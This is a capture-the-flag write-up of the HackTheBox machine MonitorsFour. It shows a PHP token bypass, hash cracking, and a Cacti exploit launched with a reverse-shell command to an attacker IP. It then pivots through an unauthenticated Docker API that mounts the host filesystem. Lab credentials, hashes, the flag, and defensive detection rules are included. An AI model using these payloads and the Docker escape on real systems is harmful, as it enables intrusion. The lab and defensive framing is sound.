MonitorsFour (HTB) — Full compromise chain
Author: p4r50n. This is a technical, extended document: it includes exact commands, outputs, container IDs, files used, technical reasoning and mitigation/detection recommendations. The final flag appears blurred by default.
Executive summary
MonitorsFour is a box with a chain of concatenated weaknesses:
a weak token validation in the API allowed dumping users and password hashes; those hashes were cracked (password wonderful1 for user mwatson).
Using those credentials we accessed a Cacti subdomain vulnerable to RCE and obtained a shell as www-data inside a web container.
From there we discovered an internal Docker API (HTTP without TLS on port 2375 / internal IP 192.168.65.7) and created an arbitrary container that bind-mounted the Windows host filesystem, reading the Administrator's desktop root.txt.
Short chain: Recon → exposed .env and public endpoints → token bypass (PHP type-juggling) → dump users/hashes → hash cracking → valid credentials → Cacti login → PoC RCE → shell (www-data) → Docker API discovered → create container mounting / → read root.txt.
Scope / Objectives
- Target:
monitorsfour.htb(HackTheBox machine). - Objective: escalate from web access (RCE in Cacti) to host (Windows) via pivot using Docker.
- Document artifacts, attack steps, and detection recommendations.
1) Recon and discovery — relevant commands & outputs
1.1 Nmap quick scan
# nmap (example)
nmap -sC -sV -p- monitorsfour.htb
# relevant outputs (summary)
# 80/tcp open http nginx
# ... (other ports)
# 5985/tcp WinRM (Windows host observed)
1.2 Web content discovery
# content fuzzing
ffuf -u http://monitorsfour.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302
# found: /.env (200) — immediate inspection recommended1.3 Exposed .env
The /.env file was served via HTTP. It contained DB credentials and connection info:
curl http://monitorsfour.htb/.env
# example (extracted during the session)
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
If you find a publicly served .env: stop poking and start auditing exposure. It's the most direct and common failure leading to rapid compromise.
2) Token bypass — explanation and exploitation
The API validates a token parameter using a loose comparison (==) in PHP, not a strict check. In PHP values that look like scientific notation (e.g. 0e...) can collide with other values and yield unintended equals.
Supplying a token like 0e1 caused the API to return the full JSON list of users.
# request used for bypass
curl "http://monitorsfour.htb/api/v1/users?token=0e1"
# Response (relevant fragment)
[
{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36",...},
{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169",...},
{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b",...}
]
Short technical note: use hash_equals(), HMACs, or signed JWTs. Never compare secrets with == in PHP.
3) Hash cracking — commands and results
I extracted the hashes returned by the API and performed dictionary attacks.
# example with hashcat (MD5 = mode 0)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
# Obtained result (example)
# mwatson -> wonderful1
Important credentials discovered:
| Username | Password (plaintext) | Source |
|---|---|---|
| mwatson | wonderful1 | cracked (API hashes) |
| monitorsdbuser | f37p2j8f4t0r | /.env |
Note: in a real engagement report and do not exfiltrate real users' credentials.
4) Cacti subdomain — login and RCE
I discovered the monitoring subdomain cacti.monitorsfour.htb (gobuster + link inspection). I logged in with mwatson:wonderful1.
# Login: mwatson / wonderful1
# Cacti version was visible in footer / page
# Used a public PoC to run commands:
python3 cacti_poc.py -u "http://cacti.monitorsfour.htb" -c "id"
The PoC produced a reverse shell (listener: nc -lvnp 9001). The execution context was:
whoami
www-data
ls -la /var/www/html/cacti
# list of files...
cat /var/www/html/cacti/include/config.php
# extracted portion:
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';
$database_hostname = 'mariadb';
These credentials allow database enumeration and further lateral movement. The next step was container-side enumeration.
5) Enumeration from the compromised container
With shell as www-data I ran standard enumeration steps:
ip a
ip route
cat /proc/self/status | grep Cap
cat /proc/1/cgroup
# Identified docker gateway: 172.18.0.1
# Test reachability to common ports on the gateway:
for p in 22 80 443 3306 2375 8080 6379; do timeout 1 bash -c "echo >/dev/tcp/172.18.0.1/$p" 2>/dev/null && echo "OPEN $p"; done
# observed: OPEN 80, OPEN 3306
Later I discovered another reachable IP (192.168.65.7) with Docker API on port 2375 (no TLS).
# Verification (example)
curl http://192.168.65.7:2375/version
# returns daemon info. If it responds: API accessible without auth.
If you find Docker API on 2375 from a container: assume host-level privileges may be possible — document everything carefully (this is a lab environment).
6) Abusing the Docker API and pivoting to the host
Plan: ask the daemon to create & start a container that bind-mounts the host filesystem into the container at /mnt/host and run cat against Administrator's desktop root.txt (Windows host).
6.1 container.json (payload)
{
"Image":"alpine:latest",
"Cmd":["/bin/sh","-c","ls -la /mnt/host && cat /mnt/host/Users/Administrator/Desktop/root.txt"],
"HostConfig":{"Binds":["/:/mnt/host"]},
"Tty":true,
"OpenStdin":true
}6.2 Steps executed (from the compromised container)
# 1) Serve the payload from attacker machine
# On attacker:
cd /tmp && python3 -m http.server 8000
# 2) Download payload on the compromised host
curl http://10.10.14.36:8000/container.json -o /tmp/container.json
# 3) Create container via Docker API (no auth)
curl -s -X POST -H "Content-Type: application/json" -d @/tmp/container.json http://192.168.65.7:2375/containers/create?name=pwned
# 4) Start the container:
curl -s -X POST http://192.168.65.7:2375/containers//start
# 5) Read container logs to collect stdout/stderr:
curl --output - "http://192.168.65.7:2375/containers//logs?stdout=1&stderr=1"
6.3 Real interaction examples (fragments observed during the session)
$ curl -X POST -H "Content-Type: application/json" -d @/tmp/container.json http://192.168.65.7:2375/containers/create?name=test
{"Id":"e30e48259cf1dd06360202d56a69e82abc28429545dd8ced5ce5aeaa21b091ee","Warnings":[]}
$ curl -X POST http://192.168.65.7:2375/containers/e30e48259cf1dd06360202d56a69e82abc28429545dd8ced5ce5aeaa21b091ee/start
$ curl --output - "http://192.168.65.7:2375/containers/e30e48259cf1dd06360202d56a69e82abc28429545dd8ced5ce5aeaa21b091ee/logs?stdout=1&stderr=1"
# output: (content of the mounted filesystem appeared)
desktop.ini
root.txt
# another attempt where the command output included the flag:
START
478a4c4114a360731ea981b9228e7fb3
END
You will see directory listings and file contents in the container logs. In our tests, the temporary file /tmp/out.bin matched the flag content (verified with strings):
$ strings out.bin
478a4c4114a360731ea981b9228e7fb3
Final flag (hidden in this writeup): 478a4c4114a360731ea981b9228e7fb3
7) Operational notes & practical tricks used
- Getting a proper TTY from a reverse shell:
attempts:
python3 -c 'import pty;pty.spawn("/bin/bash")' # fails if python3 is unavailable script /dev/null -c bash # if 'script' exists: it provides a pseudo-tty # if not: try 'sh -i' or 'bash -i' or socat (if present) - Exiting MySQL without leaving the attacked host:
To exit MySQL shell and return to the shell:
\q # or exit # if you are in a subshell, Ctrl+C may kill the session, so avoid it if you have background processes you need. - Capabilities check: output of
/proc/self/status | grep Capwas:CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 00000000a80425fb CapAmb: 0000000000000000This shows capability bounds but no direct container-to-host escalation via capabilities. The successful vector here was Docker API misuse.
- Useful Docker API enumeration commands from container:
curl http://192.168.65.7:2375/containers/json # list containers curl http://192.168.65.7:2375/images/json # list images curl http://192.168.65.7:2375/version # daemon info
8) Detection, recommendations and hardening (prioritized)
Immediate (CRITICAL)
- Do not expose Docker daemon on TCP without TLS and authentication (disable 2375 or firewall it; use unix socket with permission controls).
- Remove configuration files from webroot (
/.env), and audit NGINX/Apache rules to avoid serving sensitive filesystem paths. - Rotate all compromised credentials and keys immediately (DBs, admin accounts, API keys).
- Patch/update Cacti and restrict access to its admin panel to management networks only.
Medium term
- Fix token validation logic: use strict comparisons (
===),hash_equals, or signed tokens (HMAC/JWT). - Enforce strong password hashing (bcrypt/argon2), remove MD5/sha1 for password storage.
- Network segmentation: separate orchestration/monitoring hosts from application traffic.
Detection (SIEM / EDR)
- Alert on requests to
/api/v1/userscontaining tokens matching0epatterns. - Alert on container creation events that include suspicious bind-mounts (e.g.,
/:/). - Monitor HTTP access to
*:2375from internal containers/subnets.
Suggested SIEM / IDS rules (examples)
# Suricata (conceptual)
alert http any any -> any 2375 (msg:"Docker API create container with Bind mount /"; content:"/containers/create"; content:"/:/"; nocase; sid:1000001; rev:1;)
# Splunk example
index=web_logs (uri="/api/v1/users" AND query="token=0e") | stats count by src_ip, useragent
# Osquery example
SELECT * FROM file WHERE path LIKE '/var/www/html/%.env' OR path LIKE '/var/www/%.env';
9) Artifacts and evidence (what I created / saved)
- container.json — payload used to pivot (mount host root).
- out.bin — temporary file in /tmp containing logs that included the flag (verified with
strings). - Observed container IDs (examples):
0b2e7fdb9001a35f52076d855575abaa55658bdc...e30e48259cf1dd06360202d56a69e82abc284295...2e98399f18db7f829bd6f0ca1c714147bab0c592...557a96c977f875929530e46a7b0ae2adc4ec83d0...
- DB dumps / SQL outputs — executed
select username,password from user_auth;(raw output below). - Cacti config.php — contains DB credentials:
cactidbuser:7pyrf6ly8qx4(extracted and saved to notes).
SQL output (user_auth) — as it appeared
MariaDB [cacti]> select username,password from user_auth;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$wqlo06C4isr4q9xhqI/UQOpyM/n8EDzYl/GndqhDh/2LQihzPdHWO |
| guest | 43e9a4ab75570f5b |
| marcus | $2y$10$bPWlnZYLhoDUawu4x8vLAuCIaDbqIUe4s9t9HqFm/1gtbavD/eKGe |
+----------+--------------------------------------------------------------+
All raw outputs are preserved as captured for reproducibility and auditability.
Appendix: copy-ready commands & reproducibility checklist
- Recon
nmap -sC -sV -p- monitorsfour.htb ffuf -u http://monitorsfour.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302 curl http://monitorsfour.htb/.env - Token bypass
curl "http://monitorsfour.htb/api/v1/users?token=0e1" - Crack
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule - PoC Cacti RCE
python3 cacti_poc.py -u "http://cacti.monitorsfour.htb" -c "bash -i >/dev/tcp/10.10.14.29/9001 0>&1" - Docker pivot
# serve container.json from attacker: cd /tmp && python3 -m http.server 8000 # on the box: curl http://10.10.14.36:8000/container.json -o /tmp/container.json curl -s -X POST -H "Content-Type: application/json" -d @/tmp/container.json http://192.168.65.7:2375/containers/create?name=pwned curl -s -X POST http://192.168.65.7:2375/containers/<ID>/start curl --output - "http://192.168.65.7:2375/containers/<ID>/logs?stdout=1&stderr=1"
Payload used to create persistent container (create_container.json)
To abuse the Docker API we prepared a JSON payload that creates an alpine-based container and mounts the host filesystem at /mnt/host_root.
This allows access to host files from inside the container.
cat > create_container.json << 'EOF'
{
"Image": "alpine:latest",
"Cmd": ["sleep", "infinity"],
"HostConfig": {
"Binds": ["/:/mnt/host_root"]
},
"Tty": true,
"OpenStdin": true
}
EOF
This container can then be used via the Docker API to run commands that list the host filesystem and read sensitive files like /Users/Administrator/Desktop/root.txt.
Timeline & root-cause analysis
Chronological summary (key steps for reproducing the investigation):
- t=0 — Recon and discovery of
/.envand exposed endpoints. - t+minutes — Token bypass using
0e1→ dumped users and hashes. - t+1h — Cracked hashes → valid credentials (mwatson).
- t+1h15 — Access to Cacti subdomain; vulnerable version identified; PoC RCE executed.
- t+1h30 — Shell as
www-data; enumerated internal network and found Docker API at 192.168.65.7:2375. - t+2h — Created container with bind-mount to
/and readroot.txtfrom logs.
Root cause (summary)
- Configuration files were publicly accessible in webroot (operational oversight).
- Token validation used loose equality in PHP, creating type-juggling bypass opportunities.
- Infrastructure services (Docker daemon) were reachable from application containers, lacking network segmentation.
Indicators of Compromise (IOCs) and forensic artifacts
- HTTP request pattern:
GET /api/v1/users?token=0e1 - Container names created during attack:
pwned,test,enum - Example container IDs:
e30e48259cf1dd0636... - Files accessed:
/var/www/html/cacti/include/config.php,/.env - Flag (hidden):
478a4c4114a360731ea981b9228e7fb3
When collecting artifacts, preserve timestamps and Docker logs for correlation with SIEM/EDR evidence.
Conclusion
This machine shows a classic pattern: sensitive files in webroot + weak validation logic + infrastructure services exposed to containers. Those combined issues allowed an attacker to progress rapidly from a web-based discovery to host-level file access. Proper segmentation, secret handling, and secure token verification would have prevented the chain.
Quick mitigation summary: protect secrets, validate tokens strictly, disable remote Docker API or secure it, and segregate management/monitoring services.
Document versioning & changelog
This document was generated to be exhaustive and reproducible. The following notes track changes made to this writeup file for audit purposes.
- v1.0 — initial capture and draft (raw outputs included).
- v1.1 — added Docker pivot details and create_container.json snippet.
- v1.2 — translated to English and expanded timeline, IOCs, and SIEM rule suggestions.
- v1.3 — appended preservation notes, forensic checklist, and minor formatting improvements.